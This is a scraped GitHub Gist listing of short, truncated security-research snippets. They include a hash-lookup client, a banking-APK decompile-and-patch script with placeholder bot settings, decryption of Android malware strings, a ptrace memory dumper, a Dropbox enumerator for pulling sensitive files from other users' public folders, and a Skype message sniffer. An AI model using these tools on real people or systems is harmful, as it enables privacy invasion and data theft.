Skip to content

Instantly share code, notes, and snippets.

View PaulSec's full-sized avatar

Paul PaulSec

View GitHub Profile
@PaulSec
PaulSec / whathashisit.py
Last active August 29, 2015 14:02
Interact with WhatHashIsIt REST API in Python
import requests
import json
req = requests.get('https://what-hash-is-it.herokuapp.com/API/hash/098f6bcd4621d373cade4e832627b4f6')
data = json.loads(req.content)
if (len(data) > 0):
print data
else:
print "[-] No result found for this hash."
@PaulSec
PaulSec / keybase.md
Created July 6, 2014 12:11
keybase.md

Keybase proof

I hereby claim:

  • I am PaulSec on github.
  • I am paulsec (https://keybase.io/paulsec) on keybase.
  • I have a public key whose fingerprint is 37C2 C83D 124B 2688 7B62 7DA4 B4A6 F863 A65E 7C08

To claim this, I am signing this object:

#keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
apktool d -s src/ING.apk -o src/ING/ -f
java -jar ./tools/baksmali-2.0.2.jar src/ING/classes.dex -o src/out/
# ==== here patch dex file ====
TEL1="+80000000001"
TEL2="+80000000002"
TEL_BACK="+80000000003"
HOST1="127.0.0.1"
HOST2="127.0.0.1"
ID_BOT="500"
@PaulSec
PaulSec / gist:6702f523d29d7b1a03a4
Created June 3, 2015 10:33
Android Malware Pracs 1
from Crypto.Cipher import AES
secret_key = "1122456789abcdef"
iv = "1122456789abcdef"
mode = AES.MODE_CBC
ciphers = ["9901a4037eae3008a99a0d42ee1d84d2", "524913a771bd29a4f4547f08c844b33a", "d3a1d39c993b6824212fba3f4aa50865", "6f95f17e43914c85ccf2f2370962aee899398b6cbf6d25ef97a71d4a9ec2dabb057871e5c3fdf2921a40801ce58d44fd", "282aadd640e6b03b1633fa698ecb958bb2bdbe545a06373aaa96c15b6a57fd3bfe29bc21e7b22cd718b118ad48f47308", "579ebf44d3fcf24fed05cd51a8952680", "1181dad1a14cd6323ecb89d2cd06d08a5c7dcd3bd66233f2859d2ec23834501e", "282aadd640e6b03b1633fa698ecb958b4705ee49d44709f62b82dbda708e296b"]
for c in text:
decryptor = AES.new(secret_key, mode, IV=iv)
@PaulSec
PaulSec / Static serve file
Created July 8, 2015 10:47
Service static cert using Node.js
var http = require('http'),
path = require('path'),
fs = require('fs');
http.createServer(function(req, res) {
filename = './cacert.crt'
path.exists(filename, function(exists) {
res.writeHead(200, {'Content-disposition': 'attachment; filename=cacert.crt', 'Content-Type': 'text/plain'});
var fileStream = fs.createReadStream(filename);
fileStream.pipe(res);
@PaulSec
PaulSec / memory_dumper.py
Created September 23, 2015 09:59
Dump the memory of the specified pid (linux)
#!/usr/bin/env python
import ctypes, re, sys
## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.
c_ptrace = ctypes.CDLL("libc.so.6").ptrace
c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t
c_ptrace.argtypes = [ctypes.c_int, c_pid_t, ctypes.c_void_p, ctypes.c_void_p]
def ptrace(attach, pid):
@PaulSec
PaulSec / dropbox_enum.py
Created September 23, 2015 12:58
Iterating through Dropbox users and dumping sensitives files in their public folder.
#!/bin/python
# coding: utf-8
# how to use it:
# python dropbox_enum.py -u 96378055 -F list.txt --verbose
# python dropbox_enum.py -u 96378055 -f password.txt --verbose
# python dropbox_enum.py -u 96378055 -l 1000 -F list.txt --verbose --beep -t 15
# sudo modprobe pcspkr # for beep
import requests
@PaulSec
PaulSec / dump_alexa.py
Created September 24, 2015 11:34
Dump top 500 Alexa sites from the website
import requests
from bs4 import BeautifulSoup
for x in range(0, 20):
req = requests.get("http://www.alexa.com/topsites/global;%s" % x)
soup = BeautifulSoup(req.content)
for paragraph in soup.findAll('p', attrs={'class': 'desc-paragraph'}):
print paragraph.find('a').text
@PaulSec
PaulSec / tor.py
Last active December 3, 2015 16:08
Quick snippet to start Tor and send a HTTP request
import io
import socks
import socket
import urllib2
import stem.process
from stem.util import term
SOCKS_PORT = 7000
def create_connection(address, timeout=None, source_address=None):
@PaulSec
PaulSec / skype_sniffer.py
Created October 29, 2015 11:48
Simple Skype Sniffer
import Skype4Py
def Commands(message, status):
if status == 'SENT' or (status == 'RECEIVED'):
print message.Body
skype = Skype4Py.Skype()
skype.OnMessageStatus = Commands
skype.Attach()
while True: